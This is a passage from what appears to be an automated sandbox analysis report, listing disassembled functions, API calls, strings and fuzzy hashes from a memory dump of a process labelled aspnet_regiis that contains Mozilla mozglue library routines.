0>}l, xrefs: 6C7A811E

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>}l
API String ID: 2721933968-554681839
Opcode ID: 0b99740a1239d53b2f59b553611e9c719a70bc6777faefd16bf33f47492199cc
Instruction ID: 1b00cdd2cb636683e568dae2b42b515390ce0086be39b3a6c386f45ee7506b0e
Opcode Fuzzy Hash: 0b99740a1239d53b2f59b553611e9c719a70bc6777faefd16bf33f47492199cc
Instruction Fuzzy Hash: AB5194B1E002449BDB10DFA9DD84AEFB7B9EF49264F140239E815E7741E730A905CBA1

Function 6C7A5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7A5E9D

Part of subcall function 6C7B5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C7B56EE,?,00000001), ref: 6C7B5B85
Part of subcall function 6C7B5B50: EnterCriticalSection.KERNEL32(6C81F688,?,?,?,6C7B56EE,?,00000001), ref: 6C7B5B90
Part of subcall function 6C7B5B50: LeaveCriticalSection.KERNEL32(6C81F688,?,?,?,6C7B56EE,?,00000001), ref: 6C7B5BD8
Part of subcall function 6C7B5B50: GetTickCount64.KERNEL32 ref: 6C7B5BE4

GetCurrentThreadId.KERNEL32 ref: 6C7A5EAB
GetCurrentThreadId.KERNEL32 ref: 6C7A5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7A5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C7A6017

Part of subcall function 6C794310: moz_xmalloc.MOZGLUE(00000010,?,6C7942D2), ref: 6C79436A
Part of subcall function 6C794310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C7942D2), ref: 6C794387

moz_xmalloc.MOZGLUE(00000004), ref: 6C7A5F47
GetCurrentProcess.KERNEL32 ref: 6C7A5F53
GetCurrentThread.KERNEL32 ref: 6C7A5F5C
GetCurrentProcess.KERNEL32 ref: 6C7A5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C7A5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C7A5F27

Part of subcall function 6C7ACA10: mozalloc_abort.MOZGLUE(?), ref: 6C7ACAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7A55E1), ref: 6C7A5E8C

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7A55E1), ref: 6C7A605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7A55E1), ref: 6C7A60CC

Strings

GeckoMain, xrefs: 6C7A5ECE, 6C7A6015

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: ac96d18bd0fd188dbde771bee873cabf641b37dec44ffae55d47fe3052004c45
Instruction ID: a2384093c9c988eed4569191dffbb27144f868f3d0cebe2303411463442f0a47
Opcode Fuzzy Hash: ac96d18bd0fd188dbde771bee873cabf641b37dec44ffae55d47fe3052004c45
Instruction Fuzzy Hash: 777101B06047419FD710DF69D584A6ABBF0FF59308F004A7DE48687B42D730E989CB92

Function 6C7A9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7931C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C793217
Part of subcall function 6C7931C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C793236
Part of subcall function 6C7931C0: FreeLibrary.KERNEL32 ref: 6C79324B
Part of subcall function 6C7931C0: __Init_thread_footer.LIBCMT ref: 6C793260
Part of subcall function 6C7931C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C79327F
Part of subcall function 6C7931C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C79328E
Part of subcall function 6C7931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C7932AB
Part of subcall function 6C7931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C7932D1
Part of subcall function 6C7931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C7932E5
Part of subcall function 6C7931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C7932F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C7A9675
__Init_thread_footer.LIBCMT ref: 6C7A9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C7A96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C7A9707
__Init_thread_footer.LIBCMT ref: 6C7A971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C7A9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C7A97B7
FreeLibrary.KERNEL32 ref: 6C7A97D0
FreeLibrary.KERNEL32 ref: 6C7A97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C7A9824

Strings

ntdll.dll, xrefs: 6C7A96E3
MapViewOfFileNuma2, xrefs: 6C7A97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C7A9670
NtMapViewOfSection, xrefs: 6C7A9701

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 97d23599226d09b42dc1717ea9c7e46d4c3a4a33debf6ea1abd1d38ef2d9ac0c
Instruction ID: b8c4a2cc9ce97396711eea9cb74b539df2146fbd9dd8df3cd4c9e28299921230
Opcode Fuzzy Hash: 97d23599226d09b42dc1717ea9c7e46d4c3a4a33debf6ea1abd1d38ef2d9ac0c
Instruction Fuzzy Hash: 4161B5717042429BDF20CFA4DA89A9A7BF1EB6B318F104A39F91583F50D7319855CBD1

Function 6C7F6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C81F618), ref: 6C7F6694
GetThreadId.KERNEL32(?), ref: 6C7F66B1
GetCurrentThreadId.KERNEL32 ref: 6C7F66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C7F66E1
EnterCriticalSection.KERNEL32(6C81F618), ref: 6C7F6734
GetCurrentProcess.KERNEL32 ref: 6C7F673A
LeaveCriticalSection.KERNEL32(6C81F618), ref: 6C7F676C
GetCurrentThread.KERNEL32 ref: 6C7F67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C7F6868
RtlCaptureContext.NTDLL ref: 6C7F687F

Strings

WalkStack64, xrefs: 6C7F6890

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 4bff853ba2be0100cfbb63af21d73c0c411b3c5a8330302ca0f38e9c3a4790b0
Instruction ID: d2f45311d7b94a2bcb0b834dbf0a8bdfac94883dc92cee8de6611c3532058e15
Opcode Fuzzy Hash: 4bff853ba2be0100cfbb63af21d73c0c411b3c5a8330302ca0f38e9c3a4790b0
Instruction Fuzzy Hash: 57516F71A09302AFD721CF25CA85A5ABBF4BF89718F00492DF5A997B40D770E905CB92

Function 6C7DDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7A4A68), ref: 6C7D945E
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D9470
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D9482
Part of subcall function 6C7D9420: __Init_thread_footer.LIBCMT ref: 6C7D949F

GetCurrentThreadId.KERNEL32 ref: 6C7DDE73
GetCurrentThreadId.KERNEL32 ref: 6C7DDF7D
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DDF8A
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DDFC9
GetCurrentThreadId.KERNEL32 ref: 6C7DDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C7A4A68), ref: 6C7DDE7B

Part of subcall function 6C7D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7D94EE
Part of subcall function 6C7D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C7D9508

Part of subcall function 6C7CCBE8: GetCurrentProcess.KERNEL32(?,6C7931A7), ref: 6C7CCBF1
Part of subcall function 6C7CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7931A7), ref: 6C7CCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C7A4A68), ref: 6C7DDEB8
free.MOZGLUE(00000000,?,6C7A4A68), ref: 6C7DDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C7DDF38

Strings

<none>, xrefs: 6C7DDFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C7DE00E
[I %d/%d] locked_profiler_stop, xrefs: 6C7DDE83

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: dec5615ba76c91c5297e539752b91880da378fbaf7e15c0517b6289336077f0c
Instruction ID: 98351d9b94e4f61c2bc5ca17b11784a51abf74ca4d4e5e8c86966bf82cb765e9
Opcode Fuzzy Hash: dec5615ba76c91c5297e539752b91880da378fbaf7e15c0517b6289336077f0c
Instruction Fuzzy Hash: 924106717012129BEB309F65DA0D7AA77F5EBA530DF150439E92997F01CB30A805CBEA

Function 6C7ED840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7ED85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C7ED86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7ED918
GetCurrentThreadId.KERNEL32 ref: 6C7ED93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C7ED948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7ED970
GetCurrentThreadId.KERNEL32 ref: 6C7ED976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C7ED982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7ED9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C7EDA2E
GetCurrentThreadId.KERNEL32 ref: 6C7EDA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C7EDA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C7EDA91

Part of subcall function 6C7B5C50: GetTickCount64.KERNEL32 ref: 6C7B5D40
Part of subcall function 6C7B5C50: EnterCriticalSection.KERNEL32(6C81F688), ref: 6C7B5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7EDAB7

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: dc61e21695b1cf995bcf1c4af091b607629f218132188e6bfb0003dd3ea1451a
Instruction ID: 15e70a343995ee62624768a419ccb97c1ae7a475e033726eab4ac417fbb7bb85
Opcode Fuzzy Hash: dc61e21695b1cf995bcf1c4af091b607629f218132188e6bfb0003dd3ea1451a
Instruction Fuzzy Hash: F771AE756043059FCB10CF28C888BAABBF5FF89318F15857EE85A9B701DB30A945CB91

Function 6C7ED4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7ED4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C7ED4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7ED52A
GetCurrentThreadId.KERNEL32 ref: 6C7ED530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C7ED53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7ED55F
free.MOZGLUE(00000000), ref: 6C7ED585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C7ED5D3
GetCurrentThreadId.KERNEL32 ref: 6C7ED5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C7ED605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7ED652
GetCurrentThreadId.KERNEL32 ref: 6C7ED658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C7ED667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7ED6A2

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: f200789d4f6e552fa571feda080e33b4ef926fd1e0bc811512a612117211af34
Instruction ID: feb9c13713543a68e640a8f28b90fb3482ec2eb7311862828c72b12d9a772009
Opcode Fuzzy Hash: f200789d4f6e552fa571feda080e33b4ef926fd1e0bc811512a612117211af34
Instruction Fuzzy Hash: 085160B1604706DFC714DF34C588AAABBF4FF89358F10862EE85A87B11DB30A945CB95

Function 6C7B5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C7B56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7B56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C7B56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C7B5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C7B57BC
GetTickCount64.KERNEL32 ref: 6C7B58CB
EnterCriticalSection.KERNEL32(6C81F688), ref: 6C7B58F3
__aulldiv.LIBCMT ref: 6C7B5945
LeaveCriticalSection.KERNEL32(6C81F688), ref: 6C7B59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C81F638,?,?,?,?), ref: 6C7B59E9

Strings

MOZ_APP_RESTART, xrefs: 6C7B56CC

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: fe1581bc2544104f1ced3d7969ec329467fda25f668d80da41e9f3ca6ae9f03b
Instruction ID: db4c2057f08c811ef6dc1e7589bac625f91fde9d4933c323bb62b001ad00c81a
Opcode Fuzzy Hash: fe1581bc2544104f1ced3d7969ec329467fda25f668d80da41e9f3ca6ae9f03b
Instruction Fuzzy Hash: CFC1A071A083419FD715CF28D54566ABBF1FFDA718F058A2DE4C8A7B21D730A885CB82

Function 6C7DEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7A4A68), ref: 6C7D945E
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D9470
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D9482
Part of subcall function 6C7D9420: __Init_thread_footer.LIBCMT ref: 6C7D949F

GetCurrentThreadId.KERNEL32 ref: 6C7DEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DEC8C

Part of subcall function 6C7D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7D94EE
Part of subcall function 6C7D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C7D9508

GetCurrentThreadId.KERNEL32 ref: 6C7DECA1
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C7DECC5
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C7DED19
CloseHandle.KERNEL32(?), ref: 6C7DED28
free.MOZGLUE(00000000), ref: 6C7DED2F
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C7DEC94

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 31ac60bef4d2166a946fbff221923ef03627a1517d1236a7aa8fb315a1fb2200
Instruction ID: da48f8e58e8be1b5525afcc6f822121e9d9c46a83fc7a8bf193b556a1d703504
Opcode Fuzzy Hash: 31ac60bef4d2166a946fbff221923ef03627a1517d1236a7aa8fb315a1fb2200
Instruction Fuzzy Hash: 432107B160010A9FDB119F65D90EBAB77B9EB5626DF114230FC1897F41DB31A805CBE1

Function 6C7F5FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C7F6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C7F6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Qyl,?), ref: 6C7F6046
OutputDebugStringA.KERNEL32(?,Qyl,?), ref: 6C7F6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C7F6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C7F6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C7F6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C81148E), ref: 6C7F6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Qyl,00000000,?), ref: 6C7F60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C7F60C4

Strings

Qyl, xrefs: 6C7F5FFC, 6C7F6042, 6C7F6045, 6C7F60B3

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Qyl
API String ID: 3835517998-4009424572
Opcode ID: 679e0707ec2fa78dcef8b5be253803e9648ef06b34286c3f9df2cab43800c52d
Instruction ID: 53dfe88f589177023959c3f7606c6c7fc807bf479be474cb1d108fd520238549
Opcode Fuzzy Hash: 679e0707ec2fa78dcef8b5be253803e9648ef06b34286c3f9df2cab43800c52d
Instruction Fuzzy Hash: 6821A3B1A002199FDB205F24DC4DAAA7BF8FF45318F108438E85A97741CB75AA49CFD2

Function 6C7D8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C79EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C79EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C7DB392,?,?,00000001), ref: 6C7D91F4

Part of subcall function 6C7CCBE8: GetCurrentProcess.KERNEL32(?,6C7931A7), ref: 6C7CCBF1
Part of subcall function 6C7CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7931A7), ref: 6C7CCBFA

Strings

timeline-ipc, xrefs: 6C7D9096
marker-table, xrefs: 6C7D906C
timeline-overview, xrefs: 6C7D907A
timeline-memory, xrefs: 6C7D9088
timeline-fileio, xrefs: 6C7D90A4
stack-chart, xrefs: 6C7D90B2
name, xrefs: 6C7D8F16
marker-chart, xrefs: 6C7D905E
data, xrefs: 6C7D90E8

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
